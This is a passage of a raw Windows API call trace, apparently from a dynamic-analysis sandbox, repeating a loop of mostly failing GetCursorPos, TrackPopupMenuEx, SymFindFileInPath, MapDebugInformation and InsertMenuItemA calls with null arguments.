param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.872] GetLastError () returned 0x579 [0140.872] SetLastError (dwErrCode=0x579) [0140.872] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.872] SymCleanup (hProcess=0x0) returned 0 [0140.872] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.872] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.872] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.872] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.872] GetLastError () returned 0x579 [0140.872] SetLastError (dwErrCode=0x579) [0140.872] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.872] SymCleanup (hProcess=0x0) returned 0 [0140.872] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.872] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.873] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.873] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.873] GetLastError () returned 0x579 [0140.873] SetLastError (dwErrCode=0x579) [0140.873] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.873] SymCleanup (hProcess=0x0) returned 0 [0140.873] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.873] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.873] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.873] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1378, param_4=76, param_5=0x0, param_6=0x0) returned 0 [0140.873] GetLastError () returned 0x579 [0140.873] SetLastError (dwErrCode=0x579) [0140.873] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.873] SymCleanup (hProcess=0x0) returned 0 [0140.873] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.873] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.873] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.873] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.873] GetLastError () returned 0x579 [0140.873] SetLastError (dwErrCode=0x579) [0140.874] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.874] SymCleanup (hProcess=0x0) returned 0 [0140.874] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.874] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.874] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.874] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.874] GetLastError () returned 0x579 [0140.874] SetLastError (dwErrCode=0x579) [0140.874] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.874] SymCleanup (hProcess=0x0) returned 0 [0140.874] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.874] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.874] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.874] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.874] GetLastError () returned 0x579 [0140.874] SetLastError (dwErrCode=0x579) [0140.874] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.874] SymCleanup (hProcess=0x0) returned 0 [0140.874] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.874] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.874] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.874] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.875] GetLastError () returned 0x579 [0140.875] SetLastError (dwErrCode=0x579) [0140.875] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.875] SymCleanup (hProcess=0x0) returned 0 [0140.875] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.875] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.875] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.875] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=308, param_4=781, param_5=0x0, param_6=0x0) returned 0 [0140.875] GetLastError () returned 0x579 [0140.875] SetLastError (dwErrCode=0x579) [0140.875] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.875] SymCleanup (hProcess=0x0) returned 0 [0140.875] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.875] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.875] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.875] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.875] GetLastError () returned 0x579 [0140.875] SetLastError (dwErrCode=0x579) [0140.875] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.875] SymCleanup (hProcess=0x0) returned 0 [0140.875] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.875] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.875] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.876] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.876] GetLastError () returned 0x579 [0140.876] SetLastError (dwErrCode=0x579) [0140.876] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.876] SymCleanup (hProcess=0x0) returned 0 [0140.876] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.876] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.876] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.876] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.876] GetLastError () returned 0x579 [0140.876] SetLastError (dwErrCode=0x579) [0140.876] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.876] SymCleanup (hProcess=0x0) returned 0 [0140.876] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.876] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.876] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.876] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.876] GetLastError () returned 0x579 [0140.876] SetLastError (dwErrCode=0x579) [0140.876] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.876] SymCleanup (hProcess=0x0) returned 0 [0140.876] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.876] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.877] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.877] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=373, param_4=299, param_5=0x0, param_6=0x0) returned 0 [0140.877] GetLastError () returned 0x579 [0140.877] SetLastError (dwErrCode=0x579) [0140.877] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.877] SymCleanup (hProcess=0x0) returned 0 [0140.877] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.877] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.877] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.877] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.877] GetLastError () returned 0x579 [0140.877] SetLastError (dwErrCode=0x579) [0140.877] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.877] SymCleanup (hProcess=0x0) returned 0 [0140.877] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.877] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.877] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.877] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.877] GetLastError () returned 0x579 [0140.877] SetLastError (dwErrCode=0x579) [0140.877] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.877] SymCleanup (hProcess=0x0) returned 0 [0140.878] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.878] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.878] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.878] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.878] GetLastError () returned 0x579 [0140.878] SetLastError (dwErrCode=0x579) [0140.878] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.878] SymCleanup (hProcess=0x0) returned 0 [0140.878] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.878] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.878] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.878] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.878] GetLastError () returned 0x579 [0140.878] SetLastError (dwErrCode=0x579) [0140.878] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.878] SymCleanup (hProcess=0x0) returned 0 [0140.878] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.878] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.878] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.878] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=237, param_4=654, param_5=0x0, param_6=0x0) returned 0 [0140.878] GetLastError () returned 0x579 [0140.879] SetLastError (dwErrCode=0x579) [0140.879] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.879] SymCleanup (hProcess=0x0) returned 0 [0140.879] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.879] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.879] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.879] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.879] GetLastError () returned 0x579 [0140.879] SetLastError (dwErrCode=0x579) [0140.879] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.879] SymCleanup (hProcess=0x0) returned 0 [0140.879] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.879] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.879] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.879] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.879] GetLastError () returned 0x579 [0140.879] SetLastError (dwErrCode=0x579) [0140.879] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.879] SymCleanup (hProcess=0x0) returned 0 [0140.879] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.879] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.879] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.879] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.880] GetLastError () returned 0x579 [0140.880] SetLastError (dwErrCode=0x579) [0140.880] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.880] SymCleanup (hProcess=0x0) returned 0 [0140.880] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.880] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.880] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.880] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.880] GetLastError () returned 0x579 [0140.880] SetLastError (dwErrCode=0x579) [0140.880] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.880] SymCleanup (hProcess=0x0) returned 0 [0140.880] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.880] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.880] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.880] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=620, param_4=769, param_5=0x0, param_6=0x0) returned 0 [0140.880] GetLastError () returned 0x579 [0140.880] SetLastError (dwErrCode=0x579) [0140.880] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.880] SymCleanup (hProcess=0x0) returned 0 [0140.880] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.880] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.880] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.881] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.881] GetLastError () returned 0x579 [0140.881] SetLastError (dwErrCode=0x579) [0140.881] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.881] SymCleanup (hProcess=0x0) returned 0 [0140.881] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.881] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.881] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.885] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.885] GetLastError () returned 0x579 [0140.885] SetLastError (dwErrCode=0x579) [0140.885] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.885] SymCleanup (hProcess=0x0) returned 0 [0140.885] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.885] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.885] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.885] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.885] GetLastError () returned 0x579 [0140.885] SetLastError (dwErrCode=0x579) [0140.885] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.885] SymCleanup (hProcess=0x0) returned 0 [0140.885] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.885] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.886] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.886] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.886] GetLastError () returned 0x579 [0140.886] SetLastError (dwErrCode=0x579) [0140.886] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.886] SymCleanup (hProcess=0x0) returned 0 [0140.886] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.886] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.886] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.886] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=547, param_4=470, param_5=0x0, param_6=0x0) returned 0 [0140.886] GetLastError () returned 0x579 [0140.886] SetLastError (dwErrCode=0x579) [0140.886] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.886] SymCleanup (hProcess=0x0) returned 0 [0140.886] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.886] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.886] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.886] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.886] GetLastError () returned 0x579 [0140.886] SetLastError (dwErrCode=0x579) [0140.886] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.886] SymCleanup (hProcess=0x0) returned 0 [0140.886] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.886] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.886] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.887] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.887] GetLastError () returned 0x579 [0140.887] SetLastError (dwErrCode=0x579) [0140.887] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.887] SymCleanup (hProcess=0x0) returned 0 [0140.887] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.887] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.887] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.887] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.887] GetLastError () returned 0x579 [0140.887] SetLastError (dwErrCode=0x579) [0140.887] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.887] SymCleanup (hProcess=0x0) returned 0 [0140.887] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.887] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.887] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.887] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.887] GetLastError () returned 0x579 [0140.887] SetLastError (dwErrCode=0x579) [0140.887] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.887] SymCleanup (hProcess=0x0) returned 0 [0140.887] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.887] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.887] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.888] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=208, param_4=44, param_5=0x0, param_6=0x0) returned 0 [0140.888] GetLastError () returned 0x579 [0140.888] SetLastError (dwErrCode=0x579) [0140.888] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.888] SymCleanup (hProcess=0x0) returned 0 [0140.888] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.888] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.888] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.888] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.888] GetLastError () returned 0x579 [0140.888] SetLastError (dwErrCode=0x579) [0140.888] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.888] SymCleanup (hProcess=0x0) returned 0 [0140.888] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.888] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.888] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.888] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.888] GetLastError () returned 0x579 [0140.888] SetLastError (dwErrCode=0x579) [0140.888] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.888] SymCleanup (hProcess=0x0) returned 0 [0140.888] 